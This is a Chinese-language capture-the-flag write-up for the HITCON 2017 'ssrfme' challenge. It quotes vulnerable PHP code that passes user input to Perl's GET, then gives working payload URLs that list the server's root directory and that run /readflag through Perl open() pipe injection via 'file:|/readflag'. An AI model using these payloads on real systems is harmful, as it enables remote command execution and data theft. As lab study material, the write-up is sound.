hitcon_2017_ssrfme
进入环境给出源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
这里GET一开始确实不知道有什么用,以为是get传参,但是想想又不明白,根据题解的意思应该是perl中的——一种语言
根据题解,GET应该是可以读文件的,那我在kali中试一试
创建一个flag文件并读取
echo flag{} > flag
GET ./flag
读取根目录
代码一开始创建了一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip
使用上面方法我们就可以在靶机里找flag了,一般flag在根目录下,payload
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/?url=/&filename=233
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/233
有flag和readflag但是flag读不到,多半是没有权限,只能通过readflag来实现了
GET底层实现使用的是open函数,open函数可以执行命令,我们可以通过GET来执行命令
1、open命令执行(|没搞明白)
open(FD,'|id')
print <FD>
而perl里的GET函数底层就是调用了open处理,如下84与132行
file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new
当GET使用file协议的时候就会调用到perl的open函数
发现了这一点我们就可以构造payload了
?url=&filename=|/readflag
?url=file:|/readflag&filename=abc
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/abc
这样就能获得flag